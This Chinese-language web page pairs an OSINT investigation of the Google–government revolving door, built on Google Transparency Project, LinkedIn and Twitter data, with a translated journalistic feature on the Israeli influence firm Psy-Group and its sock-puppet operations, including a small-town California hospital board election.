第一步是分析和可视化从 Google Transparency Project 和在线媒体来源获得的数据，以评估想查找哪些互补数据、以及在哪里可以找到它们。

从 Google Transparency Project 获得的数据（请参阅此处的数据集）以从 Google 转移到政府职位的人的名字为特征（反之亦然），他们离开或加入了哪个组织、离开和加入的日期、他们的新旧职位，以及相关信息的来源。

根据这个数据集，提出的问题集中在三点上：这些人从哪个国家迁移到**Google**、这些人是谁、他们什么时候迁移的。

然后的计划是研究其他数据源，以检验认为Google雇用那些离开政府职位的人的假设，因为他们在政府机构中的人脉和影响力。

为了能理解这一点，在网上搜索了有关Google和政府之间转移的人的特殊技能和专业知识、工作角色和社会关系的其他信息。

这项研究主要关注 Google Transparency Project 的欧洲数据集，而不是美国数据集。这是因为到目前为止，与美国相比，欧洲方面的研究较少。

Googlexit：谁将加入**Google**？

为了了解识别出的个人将离开哪个政府职位，就此创建了一个可视化图，展示了这些人从何处加入Google。

第一个结论是，数据集中显示，离开政府职位加入Google的人比离开Google加入政府工作的人更多。

通过可视化此数据可以看到，有两个主要群体转移到Google职位，分别来自英国和欧盟。还可以看到有少量Google员工被调往政府职位。

离开Google的个人最常为欧洲委员会、欧洲议会以及英国政府机构工作。并且发现很少有同时在Google和欧洲政府机构工作的个人案例，这些案例通常是个人在有限的时间内为政府机构提供有关特定问题的咨询服务。

「图」

「图」

Google迁移流程。暴露不可见的信息

英国：两党均分

希望更仔细地了解英国，因为它是所有国家/地区加入Google人数最多的国家。这个旋转门究竟是在戴维·卡梅伦的保守党政府期间最常发生？还是在托尼·布莱尔的工党政府期间？还是两者之间没有区别？

通过浏览报纸文章和Google搜索可以发现，David Cameron 与那些和Google有着特定联系的人之间有关系密切。并且还发现，这不仅是保守党的现象，因为托尼·布莱尔也拥有自己的人脉和纽带。

- 不要错过谷歌搜索的技巧《攻防皆可用：GoogleDorking 高级运算符完整列表》

与数据集中观察到的任何其他英国政府机构相比，英国政府总部唐宁街10号涉入其中的人最多。

以下是保守党和工党这些知名人士与谷歌之间关系的部分例子：

「图」

「图」

大卫·卡梅隆（David Cameron）时代的 Googlexit 图表

「图」

「图」

托尼·布莱尔（Tony Blair）时代的Google旋转门

他们是什么时候转移工作的？

现在已经对这些人转移了什么工作和搬到哪里的情况有了更多的了解，进一步想要了解的是他们何时转移的。

通过绘制此图，希望可以发现一段时间内旋转门发生的趋势。

通过数据集可以获得有关人员何时转移并加入各种政府组织和机构以及加入Google的时间信息。由此创建了这些事件的时间表，以绘制政府官员和**Google**员工的个人就业动向。

有趣的是，2011年有明显的一批人离开了政府开始为Google工作。想知道是什么触发了这一举动吗？

就英国而言，这意味着是在2010年大选之后发生的，当时Google员工被雇用加入总理大卫·卡梅隆的团队，但是在这方面没有看到2014年或2015年有太多举动，那两年也是英国、欧洲议会、法国和比利时的大选之年。

所以与大选有关的结论需要再考虑。

「图」

「图」

较深的蓝色表示该人何时担任当前职务。个人从政府机构迁移到Google的时间点透视，反之亦然。

从 Twitter 和 LinkedIn 查找数据

在对 Google Transparency Project 的数据集进行了分析和可视化之后，想更深入地挖掘并找到更多信息，并测试一些假设 —— 认为Google雇用了那些离开政府职位的人，因为他们在政府机构中的人脉关系和影响力。

在两个网络平台上寻找这些信息： Twitter 和 LinkedIn。

现在手边有个人姓名，因此可以手动搜索他们拥有的任何 Twitter 个人资料，还可以仔细查看 Google 透明度项目已经从中获取信息的个人的 LinkedIn 页面。

不要错过方法：

- 《如何只用电子邮件地址追踪到 Twitter 帐户？》

- 《针对人的追踪调查：开源情报思考方法（1）》
- 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》
- 《观察追踪者的思考方式：挖掘推特情报的基础教程（2）》
- 《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》
- 《如何可视化推特对话：极简小工具》
- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》
- 《情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？》
- 《网络水军如何试图影响选举？ 一个调查案例，观察对选民的在线心理战》
- 《如何从求职网站快速追踪挖掘情报：高级LinkedIn搜索》
- 《把 LinkedIn 作为情报挖掘工具：简易指南》

LinkedIn调查

由于 Google Transparency Project 已经从 LinkedIn 上删除了信息，因此需要专注于数据集中未包含的数据，例如名单上的人就读的大学以及他们添加到LinkedIn个人资料中的主要技能和专业知识。

从 LinkedIn 收集信息被证明很困难，因为需要一定数量的同意才能访问该信息。但确实搜集到的 **LinkedIn** 数据质量相对较好，因为它与欧盟官方 *游说者数据库* 中的记录基本吻合。

通过将注意力集中在英国得以在这一探索上更多的发展，因为 LinkedIn 倾向于在英美语境中有更广泛的使用。此外，在技术公司工作的人往往在 LinkedIn 等平台上有很好的代表性。

在此数据集中确实找到了一些可以通过对报纸文章进行定性研究验证为有政治影响力的人。但是，鉴于他们的职位，他们中的许多人并不像人们期望的那样活跃在网络平台上 —— 本调查发现许多高层员工很难被追查。

连接关系

这里想要绘制的是个人以前曾工作或目前正在工作的组织。希望能提供一些洞察力，了解到那些通过旋转门的人通过以前的工作场所彼此认识，以及那些使用旋转门的人是否在特定的机构或公司中被过分突出。

通过绘制这些数据，可以在可视化结果中清楚地看到英国的统治地位。工党、保守党、唐宁街10号和下议院显然是主要的共享工作场所。

该数据集中包含的 Google 员工工作的两个最常见的地方是在欧洲议会或欧盟委员会。共同工作场所列表中提到的其他公司是 Uber 和 Cisco Systems。

「图」

「图」

工作场所用红色表示，人用蓝色圆圈表示

技能特征

在查看 LinkedIn 的个人资料时发现，他们中的许多人都标注了他们认为自己拥有的关键技能和专长，并在个人资料上进行了营销。

鉴于对这些组织之间流动的人员类型的这种详细了解，可以对其进行映射和分析，以观察这些人是否在任何共同技能方面有联系。

并且也有兴趣调查 Google 是否正在积极雇用来自具有特殊技能和专门知识的政府机构的特定类型员工。

通过刮取这些 LinkedIn 个人资料中列出的技能和专业知识，确实发现了一些有趣的见解。

离开**Google**的人中最常提及的技能被列为 “战略传播”，对于加入**Google**的人来说，他们被标记的三大主要技能是：公共政策、政治和战略。

「图」

「图」

据此，对于那些加入Google的人来说，Google有望获得对国际关系、欧盟以及更进一步的国际法和欧洲法律的更具体的了解。

看到这里会感觉很有趣，因为它有助于阐明Google可能有兴趣从欧洲机构招聘的员工类型，并提供了一些关于公司可能希望如何利用这些新员工进行工作的见解。

「图」

「图」

还查看了 LinkedIn 上目标人标记的求学经历，以查看其中是否有很多重叠之处。通过研究与大学的隶属关系以代替现实世界中的联系 —— 这点与调查 Facebook 时一样，沿用的是 “校友” 规则。

毫无疑问，在这里对的结果并未得出特别有趣的结论 —— 英国牛津大学是数据集中个人覆盖人数最多的大学；美国常春藤盟校的毕业生占员工人数的主导地位，而欧洲大学的出现率不是影响力的有趣指标。

Twitter

本数据集中的个人不仅共享了过去或现在的雇主Google，而且他们对彼此也有潜在的兴趣 —— 可能在社交媒体上互相关注并互动。

Google透明项目的数据集未包含从 Twitter 收集的结果信息。于是本调查想看看是否可以通过收集在线关系的信息来跟踪离线联系。

通过使用数据抓取工具 Littlespoon（该工具的代码在此处，还可以查看该工具的GUI版本），研究通过诸如以下指示项将 Twitter 个人资料彼此连接的不同方式：

- 谁关注谁
- 简短的个人资料中包含有趣的信息
- 提及和回复形式的互动
- 查看哪些个人资料正在谈论相同的主题并使用相同的标签，这通常感觉就像是某种共同的努力

在比较美国和欧洲的数据集时，能够在欧洲数据集中识别大量的 Twitter 用户名；在公开可用的帐户中，收集了 # 标签和提及内容，以及本调查的名单上的人员正在关注的人以及关注他们的人。

结果发现，具有真正权力和影响力的人很难通过 **Twitter** 和 **LinkedIn** 进行在线跟踪，并且与在 **Google** 和政府机构中任职比较短暂的成员相比，长期任职的人其在线个人资料的可收集信息被证明是很有限的。

旋转门中所涉及的人物在谈论什么？

首先想要了解的是，该数据集中收集的人物在Twitter上正在谈论什么。

此处收集了 5076 条推文（大约相当于每人被收集了200条推文），并通过输入这些推文及其关联的标签，在可视化软件 Gephy 中可以看到许多关键字之间联系。

关于 **Gephy** 的演示，见：《想知道老大哥是如何侵犯你的吗？挖掘更深层的内幕 》。

从收集到的数据来看，数据集中的 Twitter 用户似乎正在共享 Google 产品之一 YouTube、跨大西洋贸易和投资合作伙伴关系协定（TTIP）、英国脱欧标签 #StrongerIn 和 Uber 的信息，这是仅举几例最常用的主题标签。

「图」

「图」

旋转门中的个人在Twitter上谈论什么（标签分析）

他们听谁的话？

为了了解本数据集在 Twitter 上关注最多的帐户是谁，通过可视化 Gephy 运行了收集的关于谁在关注谁的数据。

排名前三的帐户是 **Alphabet** 执行主席**Eric Schmidt**、《经济学人》、和 **Google** 的 **Twitter** 帐户。

能够确定该清单上的人最感兴趣的领域包括：该行业的人员和组织帐户（绿色气泡）；从事政策工作的个人和机构（红色气泡）；欧盟和国际机构（黄色气泡）；最后是英国的相关新闻、名人、和机构（蓝色气泡）。

「图」

「图」

关系网络的焦点是谁？

Alphabet 的执行主席埃里克·施密特（Eric Schmidt）位居榜首，其次

是 Demis Hassabis 和乔安娜·希尔兹（Joanna Shields）。

这应该并不奇怪，因为他们是该榜单上最知名的Google员工。

「图」

「图」

数据集中的某些人要么在 Twitter 和 LinkedIn 上完全没有在线状态，要么选择将自己的个人资料设为私有，这样就无法公开调查他们。

当在线收集数据时，会基于每个人都在线且不会捕获不在网格中的“其他人” 的假设，这就会存在一些偏见。

即使个人资料是公开的，但是您可以抓取的内容仍然非常有限。在这方面， Facebook 无法自动抓取，但是，根据其隐私设置，可以手动调查某些个人。

调查 **Facebook** 的基本方法和演示如下：

- 《如何使用账户恢复功能追踪目标人？- 开源情报搜集方法》
- 《调查记者如何从社交媒体上挖掘情报？》
- 《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案—— 尤其强调防御》
- 《如何跨社交媒体平台追踪目标人？⚠ 警告安全意识》
- 《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》

影响力网络

最重要的问题是：Google 对政府的影响力如何在网上关系中体现出来？这些在线联系在多大程度上可以推断出与现实世界的联系。

通过查看社交网站以尝试确定可用于判断离线关系的在线世界中的指标。

采用多种方法来识别连接，而不是采用适合所有技术的单一方法。由于数据集很小，于是限制了分析的范围，这使得采用这些技术更容易管理；但的确发现存在许多限制和约束。

具有真正权力和影响力的人难以通过在线追踪和收集信息，因为他们的在线个人资料比那些短暂任职的Google官员和政府官员更受限制。

为了找到有关这些人的信息，我们发现媒体档案库比在社交网络平台上搜索更有用 —— 查找讨论其技能、兴趣和影响力的媒体提及。

最后

☞这项简短的调查着重于信息收集的方法以及潜在的分析结果。

类似于对 Hacking Team 的调查，主题不是数据集中最重要的元素，而是对它们的部署的分析，然后可以将其复制到许多主题和数据集上。

这项调查的重点是查看可以在网上找到哪些信息，这些信息是否可以扩展或提供与已经获得的数据不同的叙述。

尚未讨论使用 LinkedIn 作为数据源的伦理问题（可以单独分析）。这是一个社交网站，对于那些将其用于预定目的的人来说它应该是私有的，但实际上，包含在其中的所有数据对于所有想要查找的人来说都是公开的。○

With thanks to Ana Pop Stefanija, Benjamin Hervit, Christo, Fieke Jansen, Huda Alsahi, Jelly Luise Schuhmacher, Lorenzo Piazzoli, Matteo Azzi, Michele Invernizzi, Nick Forrester, Prem Borle, Simone Griesser and Valentina Dopona. Thanks to Digital Methods Summer School at the University of Amsterdam for facilitating and hosting the workshop.

原文

选举如何成为一门生意：私人情报市场和现实的有偿操纵者 - iYouPort

社会反抗和思考老大哥的真面目长读

信息战、社交工程、开源情报 …… 财源滚滚。民主的历史依旧相对较短，但操纵的历史几乎和人类社会一样古老

「图」

「图」

2016年的一个晚上，一位名叫 Alex Gutiérrez 的二十五岁社区大学生正在加利福尼亚圣华金河谷的高档餐厅 La Piazza Ristorante Italiano 等候餐桌。

Gutiérrez 发现了 Yorai Benzeevi，他是一名经营当地医院的医生，正与医院董事会成员 Parmod Kumar 坐在一张桌子旁。

他们似乎心情愉快，喝着昂贵的酒，有说有笑。

这激怒了 Gutiérrez。

Gutiérrez 最近加入了一个名为 Citizens for Hospital Accountability 的 Tulare 当地公民组织。

该组织指责 Benzeevi 以牺牲资金紧张的医院为代价中饱私囊，该医院随后宣布破产。

根据法庭文件，Benzeevi 的合同非常有利可图；在2014年给会计师的电子邮件中，他估计他的医院业务每年可以产生900万美元的收入（在 Tulare，家庭年收入中位数大约是每年四万五千美元。）

公民团体制定了一项雄心勃勃的计划，通过把他的盟友踢出医院董事会来摆脱 Benzeevi。

Gutiérrez 是一名政治学专业的学生，是红杉学院青年民主党俱乐部的领导者，在2016年的总统竞选期间，他参加了伯尼桑德斯的集会。

Gutiérrez 的父亲是一个奶牛场主，每周工作六天，每天工作12小时；桑德斯关于企业贪婪、收入不平等以及美国营利性医疗保健系统的弊病的演讲，引起了 Gutiérrez 的共鸣。

看到 Benzeevi 和 Kumar 在 La Piazza 享受高档食品的样子激怒了 Gutiérrez 的不公平感。

他花了一周的时间在圣诞节和新年之间挨家挨户敲门，要求邻居签署请愿书进行召回投票，最终获得了超过1100个签名。

Gutiérrez 后来问他的母亲 Senovia 是否会竞选 Kumar 的席位；公民团体认为 Senovia 作为一个移民和社会工作者的双重身份将成为一个吸引人的候选人，在这个约 60%西班牙裔的社区。

Benzeevi 感觉到了明显的威胁，他曾在华盛顿特区的一家律师事务所咨询过如何开展拯救 Kumar 席位的活动。

一位顾问将他转介给以色列私人情报公司 **Psy-Group**。

Psy-Group 的口号是“塑造现实”，其技术包括使用精心设计的虚假身份来操纵其目标。

Psy-Group 是新一波私人情报公司的一部分，这些公司从以色列的秘密间谍队伍中招募 —— 自称为“私人摩萨德”。

这些公司中最具侵略性的家伙似乎愿意为客户做任何事。

「图」

「图」

Psy-Group 从许多竞争对手中脱颖而出，因为它不只是收集情报；它还专门用于秘密传播信息，以操纵人们的信仰和行为方式。

其工作人员利用技术创新和政府监管松懈赚钱。

以色列前高级情报官员 Uzi Shaya 说：“社交媒体让你几乎可以接触任何人并控制他们的思想”；

“你想做什么就可以做什么。你可以成为任何你想要扮演的人。这[社交媒体]是一个战场，选举在此获胜，恐怖活动在此升级。没有法规。这是一个无人区。“

近年来，Psy-Group 已经构思出各种精心设计的秘密行动。

在阿姆斯特丹，该公司编写了一份名为布伦斯塔德基督教会的宗教教派的报告，Psy-Group 声称自己撰写了一本“比新约更重要的书”；

在加蓬，Psy-Group 投入了“Operation Bentley” —— 通过收集和传播有关其主要政治对手的情报，努力“保持”总统阿里·邦戈·翁丁巴掌握权力；

在纽约，Psy-Group 代表富有的犹太裔美国捐助者开展了一场运动，以尴尬和恐吓美国大学校园里的学生活动家，这些活动家支持一场向以色列施加经济压力的运动，因为以色列对待巴勒斯坦人的行为。

不止于此。

Psy-Group 的雄心壮志是打入美国大选市场。

「图」

「图」

在2016年总统竞选期间，该公司向唐纳德特朗普的竞选团队成员展示了其影响选举结果的能力。

Psy-Group 的老板 Joel Zamel 甚至要求前众议院议长 Newt Gingrich 向特朗普的女婿贾里德库什纳建议 Zamel 的服务。

鼓励业务的努力甚至还包括对该公司的在线欺骗技巧的简单粗暴宣称。

在2016年大选之后，Psy-Group 与 Benzeevi 的谈判促使该公司制定了在州和地方层面开展更多业务的计划。干涉任何选举不论太小。

一份公司文件报告称，Psy-Group 的影响力服务平均仅花费三十五万美元 —— 每小时仅为275美元。

该公司出版了一本挑衅性小册子，上面印有一条金鱼的图像，背面绑着鲨鱼鳍，标语写着：“真实取决于感知”。

另一本小册子展示了一只猫的倒影是一只狮子，并在该公司的服务中列出了“蜜罐诱捕” 项目。（在间谍世界中，蜜罐诱捕通常涉及部署性吸引力的操作，以诱导目标提供信息）

Psy-Group 为 Benzeevi 提出了一项提案，承诺在 Tulare 进行“协调情报运作和影响力运动”，以保留 Kumar 在医院董事会的席位。

这些宣传战操作人员将使用虚假身份向社区成员“揭示并传递可操作的情报”。该行动的代号为 Project Mockingjay，这是以小说“饥饿游戏”中虚构的鸟类为名的，这种鸟以其模仿人类声音的能力而闻名。

「图」

「图」

现代私人情报市场可以追溯到**20**世纪**70**年代，当时一位名叫 Jules Kroll 的前检察官开始雇用警察侦探、FBI 以及法务会计师，代表公司、会计师事务所以及其他客户进行侦探工作。

这家公司也招募了少数前 **CIA** 官员，但很少宣传这些雇员 —— Kroll 知道与CIA 关系过于密切可能会危及员工的安全（CIA名声太臭了）。

如今，已经有成千上万的以色列版本的 Kroll 进入私人情报市场。

这些公司具有独特的优势：很少有国家能比以色列生产更多训练有素且经过战争考验的情报专业人员 —— 以色列间谍工作者占总人口的比例最大。

以色列的征兵对大多数公民来说是强制性的，而高级情报部门通常会在高中时就确定有才能的新兵。

这些士兵接受过各种语言和技术技能的强化训练。

经过几年的政府服务后大多数人都被解职，此时许多人完成了自己的教育历程并进入了平民就业市场。

Gadi Aviran 是以色列私人情报行业的先驱之一。

“每年都有大量的人才涌入军队”，创立情报公司 Terrogence 的 Aviran 表示，“像我这样的公司必须做的就是站在门口说’你看起来不错‘”。

Aviran 以前是以色列军事情报研究小组的负责人，在那里他负责监督分析人员，这些分析师声称寻找恐怖主义威胁，监控和审查从电话通信和互联网数据流的几乎一切 。

Aviran 说，这个过程就像是 “盯着一条流淌的河流，以找到其中是否有任何值得注意的东西。” 该系统在发生攻击后通常能够有效地分析攻击，但是在提供预警方面效果不佳。

Aviran 开始考虑采用更有针对性的方法。

间谍、私人调查员、犯罪分子、甚至一些记者，长期以来都使用虚假身份诱骗人们提供信息，这种做法被称为假托（社交工程常用方法）。

互联网使假托的操作更加容易了。Aviran 认为虚假的在线角色（就是袜子木偶/假托），可以用来监视恐怖组织，并阻止计划中的袭击事件发生。

2004年，他创立了 Terrogence，成为第一家展示假托在反恐工作中的有效性的以色列主要公司。

在 Terrogence 启动的最初，有许多疑似圣战组织的成员通过由指定管理员运营的仅限会员的在线论坛进行沟通。

为了搞定这些看门人，Terrogence 的间谍给他们的假托安排了一系列传说或背景故事 —— 通常假扮的身份是欧洲大学的阿拉伯学生。

随着假托数量的激增，这些间谍开玩笑说，最有价值的在线聊天室里现在完全由间谍假托组成的，他们无意中收集了自己人的信息……

Aviran 试图让 Terrogence 专注于其核心任务—反恐，但一些政府客户向这家公司提供了大量合同，以令向其他方向发展。

“这是一个滑坡，” Aviran 说，他坚持认为应该抵制。“你从一件事开始，然后突然想到，等一下，我还能做到那一点。然后有人问你是否可以做别的事。你说，’好吧，这有风险，但钱是好东西，所以我们去试试吧。’”

「图」

「图」

Terrogence 的成功催生了一堆模仿者，其他前情报人员开始开设他们自己的公司，其中许多人比 **Terrogence** 更加不厌恶风险。

其中一个最大胆的公司就是臭名昭著的 **Black Cube**，公开宣称其与以色列间谍机构的关系，包括摩萨德和**8200**部队，这是军方的信号情报部队。

Black Cube 在 Vincent Tchenguiz 的帮助下启动，Vincent Tchenguiz 是伊朗出生的英国房地产大亨，曾投资过 Terrogence。

2011年3月，Tchenguiz 被一家英国反欺诈部门逮捕，调查他的商业交易。（官方后来放弃了调查并向他支付了赔偿金。）

他曾问过刚刚卸任摩萨德主管的 Meir Dagan 如何利用前情报人员的专业知识来调查他认为曾警告过当局的商业竞争对手。

Dagan 给前同事 Tchenguiz 发送的消息是：我可以找到一个私人摩萨德。（Dagan于2016年去世）。Tchenguiz 成为 Black Cube 的第一个重要客户。

「图」

「图」

在某些方面，Psy-Group 更直接地来自 Terrogence。 2008年，Aviran 聘请了一名名叫 Royi Burstien 的以色列国防军情报官担任业务发展副总裁。

像 **Facebook** 这样的社交网络正在变得越来越流行—其个人资料中包含照片和其他很多个人信息，也就是大量的情报资源，**Terrogence** 的假托变得越来越复杂，以避免被发现。

Burstien 敦促 Aviran 考虑以更积极的方式使用假托，并代表更广泛的商业客户。

Aviran 很谨慎。在 Terrogence 工作不到一年后，Burstien 回到了以色列的军事情报部门，并加入了一个专门从事 **PsyOps**（"心理战行动"）的精英部队。

在接下来的几年里，Burstien 的一些雄心壮志陆续在其他地方实现。

俄罗斯的情报机构已经开始使用各种工具 —— 包括黑客、网络武

器、在线假托、和传播虚假新闻的网站 —— 发展信息战，以在邻国播下不和。

2014年，他们袭击了乌克兰。同年晚些时候，Burstien 创立了 Psy-Group，它与 Black Cube 一样，使用虚拟的人物角色进行情报收集操作。

但是 Burstien 制作的假托还有另一个目的：影响力运动，就是官宣洗脑。

Burstien 吹嘘 Psy-Group 的所谓“深度”假托是如此令人信服，以至于它们能够在人们的头脑中植入思想的种子。

「图」

「图」

Tulare 看起来并不像一个能成为影响力运动的目标。该镇的名字来源于一个湖泊，该湖泊于1773年由一位西班牙指挥官 Los Tules 命名；这座小镇后来被写入了 一首歌名为“Ghost of Bardsley Road”，这首歌讲述了一个骑着白色本田摩托车的无头幽灵。

今天，这个城市只有六万多人。该县在乳制品生产方面领先全国。不久前，野火在加利福尼亚肆虐时，风将烟雾推入 Tulare，在空气中留下刺鼻的气味。

Citizens for Hospital Accountability 组织开始于一个简单的 Facebook 页面。起初，该组织的领导人希望 Alex Gutiérrez 能够竞选 Kumar 的席位，但他计划在市议会中担任一个职位。

Senovia 是备用选择。出生于墨西哥中部的阿瓜斯卡连特斯州，是十二个孩子中最小的一个。她的父母是耕种玉米和豆类的贫困农民，直到干旱迫使他们放弃土地。

她十六岁时开始全职工作；二十四岁时，她越过 Tijuana 的边境，与住在洛杉矶的男友 Miguel Gutiérrez 相聚。

他们结婚了，两年后，他们搬到了 Tulare，在那里，Senovia 抚养了五个男孩，并通过兼职担任管家来补充家庭的收入。

当她三十五岁时，她获得了高中毕业证书，然后进入了社区学院并继续获得了学士学位，在加利福尼亚州立大学弗雷斯诺分校。2015年，

她成为美国公民，并完成了社会工作硕士学位。

Alex 怀疑他的母亲是否会同意参加竞选。她从未表现出对政治的兴趣。

“作为移民长大，父母知道正在发生什么，但除了投票之外，他们并不真的想参与进来，”他说。

在 Senovia 的三居室住宅的家庭聚餐中，Alex 告诉她关于医院“腐败和管理不善”的故事。Senovia 告诉他，“我很乐意这么做，因为你很积极。”

医院董事会竞选通常是小事。 董事会的一名前成员表示，她的竞选活动仅花费了一百五十美元。即便如此 Alex 还是决定担任他母亲的竞选经理。

他觉得一万美元就足够了。为了帮助，Citizens for Hospital Accountability 组织在 Cinco de Mayo 举办了筹款活动。

邀请函中有一张 Senovia 的照片，她穿着粉红色连衣裙，周围是她的丈夫和五个孩子，站在一幅描绘 Sierra Nevadas 山麓的壁画前。

这是 Senovia 第一次参加竞选活动，她很紧张。该活动是在一个果园举行的，客人们在那里吃了手工制作的炸玉米饼。

Tulare 主要是共和党人；特朗普在2016年以53%的选票赢得了该地区，该地区众议院代表 Devin Nunes 率先采取措施打击俄罗斯的调查。

Senovia 的支持者之一葡萄牙血统的奶牛场主，在筹款活动中将 Alex 拉到一边告诉他，Senovia “优雅”的外表和她的外国口音让他想起了 Melania Trump，他在2016年大选中支持了特朗普。（作为桑德斯的粉丝 Alex 笑了，并说，这可能不是一个恰当的比较）

在发表讲话后，Senovia 告诉 Alex，她很高兴这次活动是在 Cinco de Mayo 举行的，这是为了纪念墨西哥军队在普埃布拉战役中战胜法国。

“法国人不相信他们被墨西哥击败了。我打算击败 Kumar，他将无法相信一名墨西哥女子击败了他。”

但 Benzeevi 可不是吃素的。就在 Alex 和 Senovia 从邻居那里寻求小

额捐款时，**Benzeevi** 乘坐飞机前往以色列与私人摩萨德 **Psy-Group** 会面。

「图」

「图」

Psy-Group 在特拉维夫以外约20分钟车程的商业区一座不起眼的建筑物内运营。

办公室位于四楼，在 一扇无标记的门后面。

员工使用钥匙卡进入，然而，对于一家私人情报公司来说，这个安全性实在是很可笑，特别是在中午和下午2点之间，那些夹着摩托车头盔的男子进进出出，提供午餐。

客户们被护送着穿过一个公共休息室，这个房间有一个大屏幕电视，对面是一个大型的沙发；休息室里到处都是穿着褪色牛仔裤和T恤的二十几岁的员工，他们在休息期间玩 Mortal Kombat 和 fifa 17。

Burstien 试图将 Psy-Group 定位为 Black Cube 的一个更负责任的替代品，Black Cube 以不按理出牌而著称。

“我不是说我们是好人或坏人，这并不是非黑即白的，灰色区域很大”，Burstien 在一次会议上说。

2016年，罗马尼亚警方逮捕了两名 Black Cube 特工，罪名是非法入侵和骚扰该国领先的反腐官员。（两人认罪并获得缓刑）

Psy-Group 试图利用 Black Cube 的法律问题。 Burstien 向潜在客户保证，律师会对公司的操作人员所做的一切进行审查。前雇员 称他们“不做非法的事”。

然而，该公司的合法性主张绕过了这样一个事实，即 法规并没有跟上技术进步的步伐。

“有哪些规定？法律是什么？” 2011年到2016年期间担任摩萨德主管的 Tamir Pardo 说：“没有法律。没有规定。这就是主要问题。你几乎可以做任何你想做的事。”

Psy-Group 竭尽全力掩饰其活动。偶尔会指示员工去图书馆或网吧，在那里他们可以使用所谓的“白色”电脑，这些电脑无法追溯到该公

司。

他们创造了很多一次性邮箱账户，通常只用于一项任务，用完就丢弃。

对于特别敏感的操作，**Psy-Group** 创建假的前线公司和声称在那里工作的假托，然后聘请真实的外部承包商，这些承包商不知道自己在为 Psy-Group 工作。

Psy-Group 特工会用现金支付当地承包商。

在一次会议上，Burstien 说，在一个欧洲国家的议会选举之前，他的特工创造了一个虚假的智囊团。

使用虚拟角色假托，他们的特工聘请当地分析师为智囊团工作，然后传播假的报告，以加强公司客户的政治活动、并破坏其竞争对手的声誉。

在另一次会议上，Psy-Group 官员表示，他们创建了一个袜子木偶，帮助企业客户赢得欧洲监管部门的批准。

随着时间的推移，这个袜子木偶在业界已经非常成熟，这个假人“他”在主流媒体报道甚至欧洲议员的发言中都被引用过。

在这里看到更多假人/假托操作的解析：

- 《一个惊人的案例：积极的反政府抗议者居然是个假人》
- 《享誉盛名的”五角大楼官员”事实上是一个假人，如何揭露”他”？（第一部分）》
- 《合谋的欺骗：虚假的五角大楼官员是如何被发明出来的？（第二部分）》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》

「图」

「图」

大多数 Psy-Group 员工对公司老板 Joel Zamel 知之甚少，或根本不知道。

根据在塞浦路斯提交的公司文件，Joel Zamel 于1986年出生于澳大利亚。后来移居以色列，在那里 Zamel 获得了政府外交和战略的硕士

学位，专攻反恐和国土安全。

Zamel 的父亲在采矿业赚了不少钱，Zamel 是一位技术娴熟的网络玩家。

他与美国知名的高级共和党人建立了关系，包括在罗纳德里根和乔治 W.布什期间担任外交政策官员的 Newt Gingrich 和 Elliott Abrams（特朗普政府最近任命 Abrams 为其特使，负责监督美国对委内瑞拉的政策）。

文件还显示，**Zamel** 是一家名为 **ioco** 的塞浦路斯公司的董事，该公司控制着 **Psy-Group**。（Zamel 的律师和 Burstien 都拒绝透露 Zamel 在 ioco 拥有多少股权，也拒绝确定还有谁为该合资企业提供资金）

利用塞浦路斯作为其前线伪装，**Psy-Group** 更容易在阿拉伯国家出售其服务，这些国家不与以色列公司公开合作。

「图」

「图」

最初，Psy-Group 希望通过调查圣战网络赚钱，就像 Terrogence 做的那样。

在早期的概念测试中，Psy-Group 的一名特工为一个名为麦迪逊的袜子木偶创建了 Facebook 帐户。 Burstien 的想法是将麦迪逊用作虚拟蜜罐诱捕工具。

这个袜子木偶的 Facebook 页面描绘麦迪逊是芝加哥一个基督徒家庭的普通美国青少年。

描绘这个“她”是 Justin Bieber 的粉丝，从高中毕业后在一家纪念品商店找到了工作。“她”发布了有关宗教的 Facebook 消息，并表示有兴趣更多地了解伊斯兰教。

最终，来自卡萨布兰卡的 Facebook 成员将这个假人麦迪逊在网上介绍给了摩洛哥清真寺的两位伊玛目，其中一位提出引导“她”成为穆斯林。

假人麦迪逊的转换是通过 Skype 进行的。实际参与这次电话会议的人是一名 Psy-Group 的女性员工，她负责让假人 Madison 看起来真实

可信 —— 她就坐在公司办公室的办公桌前念诵清真言。

“终于！我是穆斯林了！” 假人麦迪逊在 Facebook 上写道。 “我有宾至如归的感觉”，她还为这个帖子添加了一个笑脸图释。

此后假人麦迪逊开始接触那些支持更激进信仰的 Facebook 成员。假人接触的一个新朋友是叙利亚 Raqqa 的一名isis战士，他鼓励“她”成为一名isis新娘。

就在那时，Burstien 决定结束这项行动，他认为这已经证明了该公司可以创造令人信服的“深度”袜子木偶的能力。

不久之后，他派代表向国务院官员发起了一场游说，“模仿成功的’麦迪逊’订婚’，并称这将”打破激进主义的招聘链” …… 国务院没有同意这件事。

「图」

「图」

Psy-Group 更成功地的是向富有的犹太裔美国捐赠者推销代号为 Project Butterfly 的信息战操作。

该行动针对的是 Psy-Group 所谓的“反以色列”公民活动家，这些公民活动家在美国大学校园支持抵制、撤资、制裁运动，即**B.D.S.**

B.D.S.的支持者将这场运动看作是一种利用非暴力抗议来迫使以色列改变对待巴勒斯坦人态度的方式；批评者则说 B.D.S. 错误地将以色列列为人权罪犯。

在与捐赠者的早期会议中，Burstien说，关键是要建立一个有效的反 **B.D.S** 社会运动，旨在使以色列和犹太裔美国人社区看起来与这项努力毫无关系。

根据2017年公司文件，Butterfly 行动的目标是“从内部破坏和撕裂反以色列的公民社会运动”。

Psy-Group 的间谍们广泛搜索互联网、社交媒体账户、以及暗网，搜罗有关 **BDS** 活动家的贬损信息。更多参见“社交媒体情报”如何作为间谍常用工具。

例如，如果一名学生声称自己是一名虔诚的穆斯林，那么 Psy-Group

的间谍就会拼命寻找此人从事许多虔诚穆斯林无法接受的行为的照片，例如喝酒或有外遇。

然后，Psy-Group 就会使用无法追溯到该公司或其捐赠者的袜子木偶和独立网站在线发布这些信息。

这项蝴蝶行动于2016年2月启动，Psy-Group 于2017年向这些支持者提供了**250**万美元的运营资金。支持者们被告知他们“正在投资以色列的未来”。

在某些情况下，一位前公司员工说，捐赠者要求 Psy-Group 以BDS的活动家为目标，就在他们的儿子和女儿就读的大学里。

该项目将重点关注多达十个大学校园。

